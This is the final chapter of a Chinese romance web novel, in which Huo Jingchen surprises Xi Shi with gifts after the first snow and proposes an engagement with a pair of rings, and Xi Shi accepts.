不过这是今年的第一场雪,奚小时开心地看向霍景沉说:“哥,我们养一条哈士奇吧。” 霍景沉说:“你想要拉雪橇的话,一条不够。” “没有啊,我就觉得你们家这个院子和小区这么大,不养狗太可惜了。” “好,养。”霍景沉答应道。 “要公的,母的我怕它被别的公狗渣,意外怀孕就不好了。” “嗯,明天我让何昼去物色。” 奚时开心地把头靠在霍景沉肩上:“哥最好了。” 回到家后,两个人头上身上都被雪化的水弄湿了,霍景沉担心奚时感冒,催促他回房间去洗澡。 推开房间门,映入眼帘的,却是一堆礼物盒子。 奚时看得眼睛都亮了,转头问霍景沉:“哥,你是怎么看出我喜欢礼物的?” “你每次看到礼物盒子,眼睛都格外亮,”霍景沉推他走进去,说,“去洗澡,洗完出来拆礼物。” “好!” 奚时立刻拿了睡衣去洗澡,刚脱掉衣服,霍景沉敲浴室的门,奚时走过去打开,就被人推了进去,关上浴室门。 一直过了快一个小时的时间,浴室门才重新打开,奚时眼尾泛红、脚步虚浮地从里面走出来。 霍景沉过了一会才出来,见他头发湿漉漉地坐在地板上,正在拆礼物,无奈地拿着干毛巾过去给他擦头发。 “在奚家时,收不到礼物吗?”霍景沉问。 按道理讲,像奚时这种小少爷,应该收礼物都收到腻的程度,像霍思议、霍思远他们,对于别人送他们的礼物,完全失去兴趣,有时候连拆都不想拆。 他感觉奚时有这种小爱好,估计还是跟他的成长环境有关。 奚时抿了下唇。 他父母还在时,过生日或者过年,也能收到很多礼物。 可自从父母去世,寄人篱下之后,就再也没有这种待遇了,有客人来家里,带礼物也会漏掉他,奚时从小到大收到最多的,是来自奚朝的礼物。 不过奚朝一个直男,送礼物都很直接,不会浪费心思去包装,经常看一眼就知道是什么了,也没拆礼物的惊喜。 奚时还不怎么懂事的时候,特别羡慕奚玥,因为她生日时,收到的礼物能堆成小山,家里需要专门一个空房间来堆她的礼物。 小奚时曾提出帮奚玥一起拆礼物,他完全没有别的意思,就纯粹想体验开盲盒的快乐,结果不但被奚玥拒绝了,她还告状到叔婶那里,说他想要偷她的生日礼物,叔婶倒是没说他,但给奚玥放礼物那个房间,自此就上了锁,外面还挂了个“奚时不准进入”的牌子。 后来那个牌子被住校回家的奚朝看到,大怒,严厉要求奚玥丢了。 奚玥心不甘情不愿地丢了,但那个牌子一直烙印在了小奚时心里,后面家里人谁的礼物、快递包裹,就是放坏了扔掉,他都不会多看一眼。 这些事情都过去了,奚时不想拿这种事情和霍景沉卖惨,说:“我哥经常送我礼物,他对我很好的。” 霍景沉当然看得出来奚朝那老母鸡护崽一样的姿态,肯定对奚时是好的,要不然也不能容忍大舅哥这阵子对他的各种刁难。 “以后会有很多人对你好。”霍景沉从身后揽着他,说。 “也不用很多人,有哥你就足够啦,我不贪心的。” 其实他已经很幸运了,在他失去双亲后,还有个哥哥对他那么好,让他可以快乐地长大,现在又碰到了霍景沉,他已经很幸运很满足了。 霍景沉“嗯”了一声,趁着奚时不注意,不动声色地把其中一个礼物盒子放在奚时的手边。 果然,奚时拆完一个礼物盒子后,顺手就拿起被霍景沉拨过去那个,这个礼物包装地很精美,奚时打开上面的蝴蝶结带子,把包装纸拿下来,发现里面是个丝绒盒子。 “咦,还有人给我送首饰么?” 奚时说着,好奇地打开那个盒子,接着就有点不知所措又心虚地转头看霍景沉。 盒子里装着的是一对素戒。 “不关我事啊!”奚时恨不得当场和这个送礼物的人划清界限。 不是,霍家人都这么虎的吗?给他送这种东西,不怕被霍景沉削啊。 然后他就听到了霍景沉发出闷笑。 奚时明白过来什么,瞪大眼睛看向霍景沉:“你送的?” “嗯。” 霍景沉从他手里拿过那对戒指,说:“虽然可能有点仓促,但我等不及了,奚时先生,你要不要考虑一下,跟我定下婚约?” 奚时反应了一下,才意识到霍景沉是在跟他求婚,干巴巴地说:“这,这会不会太急了。” 被他哥知道,会被打的QAQ “先定个婚约,结婚可以等你毕业,”霍景沉说,“我也想给你跟你在意的人一点安全感,证明我不是玩腻就跑的渣男,当然,也是给自己一个保障,把你套住。” 奚时脸一下红了。 他、他没想玩腻就跑啊,真的,他也很爱霍景沉的,跟爱他的身体一样爱。 “可以么?”霍景沉深邃的目光灼灼。 奚时定定地看着那对戒指,外面下着鹅毛的大雪,一窗之隔的房间里,萦绕着比春日还温暖的爱意。 半晌,他听到自己低声说:“好。” ——正文完——